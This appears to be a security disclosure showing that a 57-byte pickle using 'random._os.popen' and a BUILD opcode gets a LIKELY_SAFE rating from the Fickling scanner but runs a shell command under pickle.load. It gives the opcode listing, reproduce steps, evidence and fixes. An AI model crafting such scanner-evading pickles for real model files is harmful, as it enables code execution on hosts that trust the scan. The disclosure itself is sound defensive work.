YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Fickling scanner bypass β malicious pickle rates LIKELY_SAFE while stdlib pickle.load executes os.popen
Target: trailofbits/fickling β pickle security/analysis tool
Version tested: fickling 0.1.12 (latest on PyPI at time of writing), installed into a fresh venv
Python: CPython 3.13.12 (system) for the victim loader
Class: Security scanner allowlist bypass β arbitrary command execution (RCE) via a pickle that the scanner rates safe
Severity: High β a defense-evasion / detection-bypass primitive against a tool whose entire purpose is to gate untrusted pickles
Summary
Fickling's safety analysis rates a hand-crafted 57-byte protocol-4 pickle as LIKELY_SAFE (is_likely_safe=True, zero findings, fickling --check-safety exits 0 = EXIT_CLEAN). The exact same file, when opened with the ordinary standard-library pickle.load (no fickling hooks), executes an attacker-controlled shell command via os.popen.
The bypass defeats Fickling's import/call allowlist because the allowlist reasons over literal module/name-component strings, while pickle protocol-4 STACK_GLOBAL performs a dotted getattr traversal (Unpickler.find_class β _getattribute) that can reach os through any standard-library module that internally does import os as <alias>.
The payload uses GLOBAL module="random", name="_os.popen". At unpickle time this traverses random._os.popen, and random._os is os, so it resolves to os.popen.
Root cause
Three independent checks in Fickling all miss the aliased re-export, and the third actively whitelists it:
NonStandardImportspasses β the module component is"random", which is insys.stdlib_module_names, so this check sees nothing non-standard.UnsafeImportspasses β it splits the imported name on"."into["_os", "popen"]and checks each component againstUNSAFE_IMPORTS. Only the literal namesos/posix(and a few others) are blocked; the aliased re-export_osis not in the set, so neither_osnorpopenmatches.OvertlyBadEvals/BadCallsskip theREDUCEcall entirely β worse than passively missing it,fickling/fickle.pyASTProperties._process_importadds"_os.popen"tolikely_safe_importsbecause it was imported from a std module and no component is inUNSAFE_IMPORTS:
# fickling/fickle.py β ASTProperties._process_import
def _process_import(self, node: ast.Import | ast.ImportFrom):
self.imports.append(node)
if (
isinstance(node, ast.ImportFrom)
and node.module is not None
and is_std_module(node.module) # module == "random" -> True
):
self.likely_safe_imports |= {
n.name # "_os.popen"
for n in node.names
# neither "_os" nor "popen" is in UNSAFE_IMPORTS -> kept
if not any(c in UNSAFE_IMPORTS for c in n.name.split("."))
}
Because the call target id "_os.popen" is now in likely_safe_imports, the eval/call analysis treats the REDUCE as a call into a safe import and does not flag it.
- The only residual signal is erased with a
BUILDopcode. WithoutBUILD, the reduce result_var0is assigned but never used, soUnusedVariableswould fireSUSPICIOUS(assigned β¦ but unused afterward).os.popen(cmd)returns anos._wrap_closeobject that has a__dict__, so aBUILDwith an empty state dict succeeds cleanly. In Fickling's interpreter this emits_var1 = _var0+_var1.__setstate__({}), which reference the variable in non-final positions, sounused_assignments()reports nothing. Net severity collapses toLIKELY_SAFE.
Generalization
The gadget works through any allowlisted stdlib module that does import os as <alias>. Confirmed on this machine:
random._os.system is os.system -> True
argparse._os.system is os.system -> True
random._os.popen is os.popen -> True
So GLOBAL "random" "_os.system", GLOBAL "argparse" "_os.system", etc. are all equivalent bypasses.
Proof of Concept
evil2.pkl (57 bytes), disassembly:
0: \x80 PROTO 4
2: \x8c SHORT_BINUNICODE 'random'
10: \x8c SHORT_BINUNICODE '_os.popen'
21: \x93 STACK_GLOBAL -> resolves to os.popen
22: \x8c SHORT_BINUNICODE 'id > /tmp/fickling_pwned.txt'
52: \x85 TUPLE1
53: R REDUCE -> os.popen(cmd) executes the shell command
54: } EMPTY_DICT
55: b BUILD -> erases the "unused variable" signal
56: . STOP
Build + scan script: poc2.py. Victim (plain stdlib loader): victim.py. Negative control: control.pkl (a plain (os.system, ("id",)) reduce).
Reproduce:
cd /home/kali/hunt-workspace/fickling-bypass
./fv/bin/python poc2.py # builds evil2.pkl, prints LIKELY_SAFE
rm -f /tmp/fickling_pwned.txt
python3 victim.py # plain pickle.load -> command runs
cat /tmp/fickling_pwned.txt # proof: `id` output written by os.popen child
Captured evidence (verbatim)
=== FICKLING (fickling 0.1.12, latest on PyPI) ===
severity: LIKELY_SAFE
is_likely_safe: True
findings: ''
AST:
from random import _os.popen
_var0 = _os.popen('id > /tmp/fickling_pwned.txt')
_var1 = _var0
_var1.__setstate__({})
result = _var1
=== CLI on evil2.pkl (our bypass) ===
(no output)
CLI EXIT=0 (0=EXIT_CLEAN/safe, 1=EXIT_UNSAFE)
=== REAL LOADER: python3 (system) 3.13.12, plain pickle.load ===
unpickle returned: _wrap_close
EXIT=0
--- sentinel file contents (proof of command execution) ---
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),...
=== NEGATIVE CONTROL: plain os.system pickle ===
`from posix import system` is suspicious and indicative of an overtly malicious pickle file
Variable `_var0` is assigned value `system('id')` but unused afterward; this is suspicious...
CLI EXIT=1 (expect 1=UNSAFE)
The negative control confirms Fickling does correctly flag the naive os.system pickle (exit 1), which isolates the aliased-re-export traversal as the specific cause of the bypass.
Impact
Fickling is widely used (directly and as a library, e.g. inside model-scanning pipelines) as a gate that decides whether an untrusted .pkl / model file is safe to load. An attacker who can get a victim to run fickling --check-safety (or fickling.is_likely_safe(...)) as a pre-load safety check will receive a clean/safe verdict for a file that runs arbitrary OS commands on pickle.load. This is a full detection bypass yielding remote code execution on the victim host.
Suggested remediation
- Resolve
STACK_GLOBAL/ dotted names to their actual target object identity (or canonical module) before allowlisting, rather than trusting literal component strings.random._os.popenshould be recognized asos.popen. - Do not add a name to
likely_safe_importsmerely because the source module is stdlib and no literal blocked substring appears; a stdlib module can re-export dangerous callables under arbitrary attribute names. - Treat any attribute traversal that terminates in
os/posix/subprocess/builtinscallables as unsafe regardless of the intermediate alias. - Do not let a
BUILD/__setstate__reference suppress the "unused reduce result" heuristic β the reduce side effect (command execution) already happened.
Dedup / prior art
No public CVE or advisory describes this specific aliased-os-re-export via stdlib module traversal against Fickling's allowlist. It is distinct from generic "pickle can import anything" notes: the point here is that Fickling specifically allowlists this construct and rates it LIKELY_SAFE with zero findings, and that the BUILD opcode is required to erase the last residual UnusedVariables signal. Checked against prior EnigmaConsultant PoC repos β all existing pickle-scanner-bypass repos target other scanners (modelscan, picklescan) or other gadgets (doctest, pydoc, codeop, dataclasses, typing, marshal, etc.); none target Fickling or this gadget.